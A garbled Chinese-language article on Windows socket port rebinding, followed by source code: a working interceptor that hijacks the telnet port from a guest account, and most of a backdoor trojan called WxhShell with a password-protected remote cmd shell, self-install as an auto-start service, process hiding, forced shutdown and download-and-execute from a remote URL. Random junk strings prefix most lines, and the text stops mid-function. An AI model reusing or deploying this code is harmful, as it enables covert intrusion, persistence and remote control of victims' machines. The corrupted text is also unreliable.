在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
?t}[Wi}7 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
]@ [=FK^ r/O(EW#=8 saddr.sin_family = AF_INET;
5>w>J 1^zF/$% saddr.sin_addr.s_addr = htonl(INADDR_ANY);
gi@+27; Z9aDE@A bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
.+B)@? g%=\Wiit] 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
j4}aK2[< t7A.b~# 这意味着什么?意味着可以进行如下的攻击:
I"JT3[*s :WCUHQ+ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
w-CuO4P ,_lwT}*w 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
@3S2Xb{ra1 |$b 4{ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
I(
y
Wct l1wxs@]( 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
L6A6|+H%E sq)Nn&5A 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
sX_ ^H%fd t8)Fkx#8} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
{fN_itn TPEZ"%=Hg 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
d)o<R;F JrL/LGY #include
"iZ-AG!C #include
LbYI{|_Js #include
?n@PZL= ] #include
;LrKXp DWORD WINAPI ClientThread(LPVOID lpParam);
kkOYC?zE? int main()
Mc6Cte]3| {
w pCS]2 WORD wVersionRequested;
(x$k\H DWORD ret;
8w*fg6,= WSADATA wsaData;
aQ~x$T| BOOL val;
m#;:%.Rm SOCKADDR_IN saddr;
MA-$aN_( SOCKADDR_IN scaddr;
ga~vQ7I_ int err;
$qrr]U SOCKET s;
sy@k3wQ SOCKET sc;
Vd1K{rH# int caddsize;
y?unI~4tC HANDLE mt;
'FUPv61() DWORD tid;
=k/n wVersionRequested = MAKEWORD( 2, 2 );
tt[_+e\4 err = WSAStartup( wVersionRequested, &wsaData );
%mYIXsuH if ( err != 0 ) {
8m*\"_S{ printf("error!WSAStartup failed!\n");
W>Rv return -1;
s{:
Mu~v }
g*tLqV saddr.sin_family = AF_INET;
_fyw <?J7Z| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
9H)uTyuNi
7:p]~eM) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
c,~44Z saddr.sin_port = htons(23);
fVN}7PH7+ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*nC,=2 {
p4AXQuOP printf("error!socket failed!\n");
e-K 8K+7 return -1;
q,(&2./ }
{Jy%h8n* val = TRUE;
2b"5/$|6 //SO_REUSEADDR选项就是可以实现端口重绑定的
bT*4Qd4W if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
nRE}F5k {
1aDDl-8, printf("error!setsockopt failed!\n");
&4%J35~ return -1;
[qI* ] }
jh?7+(Cw //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
SmLYxH3F //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
y-X'eCUz //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
uHIWbF<0oo s+w<!`- if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
w0I
/ {
{pg@JA ret=GetLastError();
0* "j:V printf("error!bind failed!\n");
J-f0 return -1;
#&:nkzd }
7w$R-Y/E listen(s,2);
[uY2 Nh while(1)
7 r<>^j' {
w${=dW@K caddsize = sizeof(scaddr);
C}kJGi //接受连接请求
ppD~xg] sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
A X#!9-m3 if(sc!=INVALID_SOCKET)
te''sydUS {
a?MtY
EK2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
2&d&$Jg if(mt==NULL)
W.R'2R# {
Rp|&1nS printf("Thread Creat Failed!\n");
U; xWW9 break;
@iceMD. }
3d<HIG^W} }
H44&u](8{ CloseHandle(mt);
|G@)B!> }
3,5wWT]
) closesocket(s);
N9PM.nbd% WSACleanup();
[-gKkOT8E return 0;
<khAc1" }
UmE{>5Pt DWORD WINAPI ClientThread(LPVOID lpParam)
\|t0~sRwh {
y~=hM
SOCKET ss = (SOCKET)lpParam;
i+Dgw SOCKET sc;
csM|VNE> unsigned char buf[4096];
S}f<@-16P SOCKADDR_IN saddr;
)89jP088V long num;
11T\2&Q DWORD val;
8'[wa DWORD ret;
-8jqC6mQ //如果是隐藏端口应用的话,可以在此处加一些判断
\@3 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
&NQR*Tn saddr.sin_family = AF_INET;
eM"mP&TTL saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
sN}@b8o@ saddr.sin_port = htons(23);
t>sX.=\$ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Lp WEu^j {
L#
1vf printf("error!socket failed!\n");
S:uEK return -1;
SkA'+( }
XXcf!~uO val = 100;
EXcj F if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
xi\RUAW {
wIj2 IAD ret = GetLastError();
E<SEFn return -1;
G0>Wk#or }
IyN9
+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Y]K]]Ehp {
CEq]B:[IC ret = GetLastError();
Kc\'s65.] return -1;
{:X];A$ }
]e~^YZOs if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
TkoXzG8yE< {
;_aoM& printf("error!socket connect failed!\n");
1@S6[&_ closesocket(sc);
RT"2Us]* closesocket(ss);
XL=R]IC<. return -1;
g VJ#LJ }
`UK+[`E while(1)
Ux
T[ {
MEnHC'nI //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
JwtI(>cI //如果是嗅探内容的话,可以再此处进行内容分析和记录
WN/#9]` P //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
I=yj num = recv(ss,buf,4096,0);
%u0;.3Gw if(num>0)
*9ub.:EUwV send(sc,buf,num,0);
si_HN{ else if(num==0)
m =,c,*> break;
Q_.c~I}yV num = recv(sc,buf,4096,0);
5l/l] if(num>0)
<^_Vl8% send(ss,buf,num,0);
o'C.,ic?C else if(num==0)
U hhmG+ break;
XW Q0V }
>#U<# closesocket(ss);
z\8yB`8b^ closesocket(sc);
MH;%Y"EI return 0 ;
{4aY}=
-Q* }
Q]5^Eiq8 67\Ojl~(1 *>p(]_s, ==========================================================
},aWCvJL ~o'#AP#N~ 下边附上一个代码,,WXhSHELL
arQ% #*$@_ ==========================================================
7jH`_58 ~yH>Ko9F} #include "stdafx.h"
[Um4\QvUx K[gWXBP #include <stdio.h>
<bZm #include <string.h>
NVqC|uEAF #include <windows.h>
akW3\(W} #include <winsock2.h>
6Su@a%=j #include <winsvc.h>
"5JNXo,H #include <urlmon.h>
[H%?jTQ 'b?.\Bm; #pragma comment (lib, "Ws2_32.lib")
|z]2KjF&w- #pragma comment (lib, "urlmon.lib")
^+Vk#_2Q YQ@6innT #define MAX_USER 100 // 最大客户端连接数
L##8+OJ.L #define BUF_SOCK 200 // sock buffer
pl,Z #define KEY_BUFF 255 // 输入 buffer
lJzy)ne ^%%5 #define REBOOT 0 // 重启
>-@ U_p #define SHUTDOWN 1 // 关机
"SU-^z e_c;D2'F #define DEF_PORT 5000 // 监听端口
fTHun?Vn }j(2Dl #define REG_LEN 16 // 注册表键长度
.`&/QiD #define SVC_LEN 80 // NT服务名长度
1uS-Tx )Ct*G=
N // 从dll定义API
C{hcK 1-K typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
M1^C8cz typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
soq".+Q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
XCIa2Syo typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
+Sd,l>8\ G(0y|Eq // wxhshell配置信息
"c/s/$k// struct WSCFG {
Ryq"\Q>+ int ws_port; // 监听端口
ZutB_uW char ws_passstr[REG_LEN]; // 口令
loUl$X.u int ws_autoins; // 安装标记, 1=yes 0=no
fEw=I7{Y char ws_regname[REG_LEN]; // 注册表键名
y /:T(tk$ char ws_svcname[REG_LEN]; // 服务名
$C05iD char ws_svcdisp[SVC_LEN]; // 服务显示名
L=HVdeE char ws_svcdesc[SVC_LEN]; // 服务描述信息
?5yH'9zE char ws_passmsg[SVC_LEN]; // 密码输入提示信息
sjzXJ`s int ws_downexe; // 下载执行标记, 1=yes 0=no
{y:#'n char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
p=~h|(M| char ws_filenam[SVC_LEN]; // 下载后保存的文件名
l/ rZcf8z TwuX-b };
Lubs{-5lk *Cnq2=A]A // default Wxhshell configuration
^5^}MB% struct WSCFG wscfg={DEF_PORT,
Y
<Znv%M "xuhuanlingzhe",
5M Wvu,'%8 1,
nSxb-Ce "Wxhshell",
.^LL9{? "Wxhshell",
q^N0abzgP "WxhShell Service",
;sChxQ=.^ "Wrsky Windows CmdShell Service",
(eRKR2% q "Please Input Your Password: ",
WR
a+zii, 1,
Itr7lv'5xx "
http://www.wrsky.com/wxhshell.exe",
e*P=2*]M "Wxhshell.exe"
E./__Mz@ };
Sc/`=h]T :G`L3E&1s // 消息定义模块
(H8C\%g: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
>nhE%:X> char *msg_ws_prompt="\n\r? for help\n\r#>";
#$t}T@t> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
nQ642i%RQ char *msg_ws_ext="\n\rExit.";
k%l_N)38 char *msg_ws_end="\n\rQuit.";
=F'M~3M char *msg_ws_boot="\n\rReboot...";
f#v#)Gp+ char *msg_ws_poff="\n\rShutdown...";
Jh\:X<q char *msg_ws_down="\n\rSave to ";
; wbUk5Tf/ =a9etF%B char *msg_ws_err="\n\rErr!";
kG$E
tE# char *msg_ws_ok="\n\rOK!";
w#xeua|*I# 7<3U? ]0 char ExeFile[MAX_PATH];
B` *f( int nUser = 0;
GOf`Z'\xt HANDLE handles[MAX_USER];
{Vxc6,= int OsIsNt;
&"[)s[m+t 9k\)tWe SERVICE_STATUS serviceStatus;
Hwp{< SERVICE_STATUS_HANDLE hServiceStatusHandle;
(LRM~5KVg Vd%v_Ek // 函数声明
_r\$NgJIM int Install(void);
;P;"F21^> int Uninstall(void);
e"fN~`NhY int DownloadFile(char *sURL, SOCKET wsh);
"!%wh6`>Md int Boot(int flag);
[7gYd+s void HideProc(void);
?GO
SeV int GetOsVer(void);
SE^j= 1 int Wxhshell(SOCKET wsl);
j ,C,5l= void TalkWithClient(void *cs);
)u8*zwq int CmdShell(SOCKET sock);
1yBt/U2 int StartFromService(void);
:xFu_%7 int StartWxhshell(LPSTR lpCmdLine);
hIuMHq7h oTCzY Y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
`/O`OrZ1K VOID WINAPI NTServiceHandler( DWORD fdwControl );
Tm)GC_ OJP5k/U$ // 数据结构和表定义
T-|9o|~z SERVICE_TABLE_ENTRY DispatchTable[] =
gB>imr#e& {
sno`=+|U] {wscfg.ws_svcname, NTServiceMain},
pb^,Qvnp {NULL, NULL}
]*N:;J };
'qL5$ zG Vi|7%!j< // 自我安装
y?pD(u int Install(void)
o"p^/'ri {
e}42/>}#D char svExeFile[MAX_PATH];
M{?.hq HKEY key;
|h&<_9 strcpy(svExeFile,ExeFile);
=)I"wR"v$ 90/vJN // 如果是win9x系统,修改注册表设为自启动
S!;LF4VA if(!OsIsNt) {
B< |VeU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
mC i[Ps RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}zFf0.82 RegCloseKey(key);
Y[Q@WdE9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_1^8xFe2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
mZ~ qG5@/F RegCloseKey(key);
LY]nl3{E return 0;
kE/`n],1U }
7J9l.cM3 }
)K~w'TUr }
.'|mY$U~] else {
|3}5:k g(/{.%\k // 如果是NT以上系统,安装为系统服务
Hjs} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
;%' b;+ if (schSCManager!=0)
"8 N"Udu {
TQP+>nS, SC_HANDLE schService = CreateService
XZS5B~E
' (
_!n}P5 schSCManager,
QR<`pmB~y wscfg.ws_svcname,
43zUN wscfg.ws_svcdisp,
<lMg\T?K SERVICE_ALL_ACCESS,
*>jjMy n SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
LA-_3UJx SERVICE_AUTO_START,
B?LXI3sQZ SERVICE_ERROR_NORMAL,
25:Z;J> svExeFile,
ddsUz1%l NULL,
0$6*o}N% NULL,
*5'.!g(' NULL,
.~3kGf": NULL,
CRFCqmevR NULL
'\`6ot8 );
EYL]TeS if (schService!=0)
\PpXL*. {
IU@_)I+6 CloseServiceHandle(schService);
?d$"[lKX CloseServiceHandle(schSCManager);
AoBoFZLl3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
9)`amhf> strcat(svExeFile,wscfg.ws_svcname);
}g`Gh|C if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
}e 9!xA RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
;54(+5pqx RegCloseKey(key);
;DuXSy!g return 0;
[C1 LT2a }
aD9rp
V }
Jf7frzw
CloseServiceHandle(schSCManager);
#,L~w }
YOyp|%! }
ZK6Hvc0 o0ZIsrr
return 1;
1,,|MW }
ak;6z]f8[ n@!wp/J, // 自我卸载
+\0T\;-Xe int Uninstall(void)
OL'P]=U {
\fZiL!E^7 HKEY key;
-4w%Iy rK1-Mu if(!OsIsNt) {
Z!6UW:&~7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_%y4q%# RegDeleteValue(key,wscfg.ws_regname);
k[\a)WcY8 RegCloseKey(key);
o#>a 5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]H ~Y7\N-v RegDeleteValue(key,wscfg.ws_regname);
r}_lxr RegCloseKey(key);
DG(%-w8p" return 0;
/.R<,/gj
}
X\Y}oa."A }
F8<"AI }
G2`${aMS else {
_qn?2u3mnR \M{[f=6llh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
@w\I qr
if (schSCManager!=0)
?CP2AK {
NjX[;e-u SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
2Il8f if (schService!=0)
AF}gSNX {
h[kU<mU"T if(DeleteService(schService)!=0) {
x5}lgyt CloseServiceHandle(schService);
)I`if(fG CloseServiceHandle(schSCManager);
3`*Kav>" return 0;
k$N0lR4:p }
48O~Jx, CloseServiceHandle(schService);
/c` ^iPb }
? }yfKU` CloseServiceHandle(schSCManager);
7]Em, }
s"%lFA"- }
4zjs!AK% ba3*]01Yb return 1;
LY 0]l$ }
Y9Z]i$qS&k mM_
k^4: // 从指定url下载文件
qnChM;) int DownloadFile(char *sURL, SOCKET wsh)
`zA#z /> {
VT\"q1)p HRESULT hr;
X|}2_B char seps[]= "/";
j.m(ltGh char *token;
#Ex p51 char *file;
+D&Pp0xe char myURL[MAX_PATH];
[Wi1|]X"G char myFILE[MAX_PATH];
IXpc,l ` jq-l5})h strcpy(myURL,sURL);
eF~dQ4RZ token=strtok(myURL,seps);
xwi\ while(token!=NULL)
VwyVEZt {
*$,:m file=token;
m&*JMA;^ token=strtok(NULL,seps);
d%_OT0Ei }
s?2$ue&-f \?**2{9&) GetCurrentDirectory(MAX_PATH,myFILE);
Kcy@$uF{2 strcat(myFILE, "\\");
[;A[.&6 strcat(myFILE, file);
IgIYguQ send(wsh,myFILE,strlen(myFILE),0);
/mA,F;
send(wsh,"...",3,0);
X6\ sF"E hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
>yB(lKV if(hr==S_OK)
>6<q8{* return 0;
#wY0D_3@1 else
_%/}>L>-`8 return 1;
YJ_\Ns+Ow zmI] cD@G }
*JX;|S ICC%,$C~l // 系统电源模块
hI},~af int Boot(int flag)
c!#:E` {
:e<7d8E5n{ HANDLE hToken;
?QZ"JX]) TOKEN_PRIVILEGES tkp;
E&`Nh5 JfC 1oiRW Re if(OsIsNt) {
aNxAZMg OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
l{Dct\ #s LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
K2{aNvR)t tkp.PrivilegeCount = 1;
k(t}^50^j tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
iK5_u2]Q AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
9QQyl\ if(flag==REBOOT) {
*=AqM14 @ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
3]RyTQ return 0;
+Q$h ]^>~ }
,m_WR7!$E else {
T4)fOu3] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
nUS| sh return 0;
!3X0FNGq }
D^Jk@<* }
/FD5G7ES else {
?W>qUrZ if(flag==REBOOT) {
,:LA.o}h if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ntFT>g{B return 0;
]\ !5}L }
3 ZEB else {
T*g:#
^4 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
i|`dWOVb return 0;
]:>,A@7 }
i4JqT \q }
Fz#X=gmG bKg8rK u return 1;
2i;7{7 }
:cB=SYcC% oVFnlA // win9x进程隐藏模块
Xpe)PXb void HideProc(void)
%D$]VSP; {
0:w"M<80 eET&pP3Rp HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
|a1{ve[ if ( hKernel != NULL )
Ar*^;/ {
|L2SFB?d= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
?;[w" `" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
wLc4Dm*V FreeLibrary(hKernel);
1 zw*/dp }
*(C(tPhC Xtt?] return;
wO?{?+I`q }
"&/-N[is 4=<tWa|@9 // 获取操作系统版本
x
}Ad_#q int GetOsVer(void)
'AN>`\mR$ {
!;?+>R)h OSVERSIONINFO winfo;
%_ !bRo winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
=UUU$hq2 GetVersionEx(&winfo);
,]bB9tid if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
[!!Q,S"
return 1;
rj(T~d4 else
}gJ (DbnV return 0;
T5a*z}L5 }
h1'\:N` pe^u$YE // 客户端句柄模块
ns6(cJ^a int Wxhshell(SOCKET wsl)
xJ#d1[kzo {
;4Y%PVz~D SOCKET wsh;
D$t k<{)oB struct sockaddr_in client;
^#-nE7 DWORD myID;
`BlI@6th x)( |[ while(nUser<MAX_USER)
ep)>X@t {
bv&;R int nSize=sizeof(client);
t+9][Adf wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
v`M3eh@$A if(wsh==INVALID_SOCKET) return 1;
")d`dj\o d_IAs handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
&mb{.= if(handles[nUser]==0)
Y "/]|'p closesocket(wsh);
~ 4kc/a else
"'D=,* nUser++;
+HBd
%1 }
8F'x=lIO WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
'&\kxNglJ h*- Pr8 return 0;
z CvKDlL }
PYGRsrcFd# )jt #=9ZQ // 关闭 socket
A!h`]%0B void CloseIt(SOCKET wsh)
D8$G `~hD {
@nux9MX<9 closesocket(wsh);
v%q0OX>9X" nUser--;
<yd{tD$A* ExitThread(0);
3\XU_Xs(] }
*s:(jDlv 1fpQLaT // 客户端请求句柄
%44leINx void TalkWithClient(void *cs)
UEguF& {
ljb7oA3cP4 'IwNTM SOCKET wsh=(SOCKET)cs;
[n:<8ho char pwd[SVC_LEN];
zx)z/1 char cmd[KEY_BUFF];
+mn,F}; char chr[1];
HhvdqvIEG int i,j;
x^y'P<ypw y !_C/!d while (nUser < MAX_USER) {
%^ !,t:d JU)dr4S? if(wscfg.ws_passstr) {
v_DedVhe if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
YB2VcF.LU //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
JsODzw //ZeroMemory(pwd,KEY_BUFF);
^zQ/mo,Z i=0;
`Tv[DIVW while(i<SVC_LEN) {
"$YJX1u3 [D\k^h // 设置超时
=w{Z@S(ukz fd_set FdRead;
vkri+:S3 struct timeval TimeOut;
Zcx`SC-0 FD_ZERO(&FdRead);
e]zBf;9J FD_SET(wsh,&FdRead);
)8$=C#qC[ TimeOut.tv_sec=8;
^G}47( TimeOut.tv_usec=0;
rR(X9i int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
% ~H=sjg if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
u)+8S/ ) E?
;0)'h if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
uFinv2Z' pwd
=chr[0]; |R/%D%_g
if(chr[0]==0xd || chr[0]==0xa) { A;]}m8(*
pwd=0; 1=d6NX)B
break; \D*KGd]M0
} 62ws/8d6f
i++; Yp^rR }N
} +[\FD; >
a6) BqlJ
// 如果是非法用户,关闭 socket ]1#e#M]#
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Yfzl%wc
} Ju1D
=b
@~"h62=]
-
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j~[z2tV
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |}Nn!Sj>#;
3 cK I
while(1) { 0tT(W^ho g
:&V h?
ZeroMemory(cmd,KEY_BUFF); ?kbiMs1;u
#_^Lb]jkM
// 自动支持客户端 telnet标准 e#$]Y?,
j=0; j i7[nY
while(j<KEY_BUFF) { Lr~=^{
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (ROY?5
@c
cmd[j]=chr[0]; Y[}>CYO
if(chr[0]==0xa || chr[0]==0xd) { #W4dkCd(pF
cmd[j]=0; K;?m';z0
break; w"-Lc4t+
} /<|%yE&KhJ
j++; U`, 6 * MS
} "Q@ronP(~
-g*4(w
// 下载文件 1mOh{:1u
if(strstr(cmd,"http://")) { Y)* #)f
send(wsh,msg_ws_down,strlen(msg_ws_down),0); EyJJ0
if(DownloadFile(cmd,wsh)) (X\@t-8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \fz<.l]
else A$Hfr8w1u
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R{<kW9!
} Q ayPo]O
else { jaII r06
OEA&~4&{7
switch(cmd[0]) { 'vbsv T
}ppN k:B
// 帮助 <Tzrj1"Q3
case '?': { D9^h;
8
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n|Q@UPb/=
break; Vc&!OE
} p6>Svcc
// 安装 8lvV4yb
case 'i': {
mHdA2
if(Install()) m
Bu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nP$Ky1y G
else v_+{'F
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @E7DyU|
break; Z'`<5A%;
} 0l )~i''
// 卸载 n'n/Tu
case 'r': { 6F!+T=
if(Uninstall()) xpV|\2C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4&<oFW\r
else i[7\[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^}/PGG\~r
break; =Y{(%sn
} LM~[@_j
// 显示 wxhshell 所在路径 :}'=`wa
case 'p': { #A1%gIw<v2
char svExeFile[MAX_PATH]; 3]}D`Qs6
strcpy(svExeFile,"\n\r"); ^a0um/+M}
strcat(svExeFile,ExeFile); EN<F# Y3E
send(wsh,svExeFile,strlen(svExeFile),0); JVvs-bK5
break; AVlhNIr
} +~m46eI
// 重启 N)uSG&S:
case 'b': { 6Zm# bFQ
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <'y?KiphL
if(Boot(REBOOT)) cOmw?kA*G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lA|
5E?
else { oK6tTK
closesocket(wsh); ?GKb7Oj
ExitThread(0); >)fi^
} q/4J.jL
break; 9UdM`v)(
} rK' L6o
// 关机 EH+"~-v)ae
case 'd': { gX@HO|.t
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XRM_x:+]
if(Boot(SHUTDOWN)) $v4.sl:x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); JFcLv=U
else { >*~L28Fyn
closesocket(wsh); :3v}kLO7|
ExitThread(0); sEp"D+f
} R1adWBD>
break; + [iQLM?zo
} 132{#tG]
// 获取shell }|0^EWL
case 's': { 2J7:\pR^
CmdShell(wsh); d[@X%
closesocket(wsh); {j.bC@hWw
ExitThread(0); Ec3}_`
break; |7'df &CA
} *v;2PP[^
// 退出 -u6bAQ
case 'x': { ?AK(|
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =MQoC:l
CloseIt(wsh); a#cCpE
break; k3lS8d7
} bn|I>e
// 离开 Y071Y:
case 'q': { ~^NtO
send(wsh,msg_ws_end,strlen(msg_ws_end),0); u1J0$
closesocket(wsh); Ec!"O3%!M^
WSACleanup(); 8bTn^!1
exit(1); RuLi,'u
break; ity & v9
} <T` 7%$/E
} vv72x]
} x,=&JtKVc
;5]Lf$tZ
// 提示信息 5Yg'BkEr
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $SlIr<'*"
} %f&/E"M
} K0u|U`
tURu0`](
return; 5bRJS70M
} m~iXl,r
:(/~:^!
// shell模块句柄 LdYB7T,
int CmdShell(SOCKET sock) v> LIvi|]
{ h9t$Uz^N
STARTUPINFO si; [>jbhV'
ZeroMemory(&si,sizeof(si)); pR*VdC _mY
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K^
vIUZ>
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Kf bb)?
PROCESS_INFORMATION ProcessInfo; u(z$fG:g
char cmdline[]="cmd"; qk%;on&`
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ih58<Up5
return 0; l.q&D< _
} vLv@&lMW
kjTduZ/3"
// 自身启动模式 {DV_*5
int StartFromService(void) \T4v|Pw\
{ y_*
!6Xr
typedef struct P{8iJ`rBG
{ Y>dF5&(kb
DWORD ExitStatus; ]i|h(>QWP
DWORD PebBaseAddress; cq,S P&T~
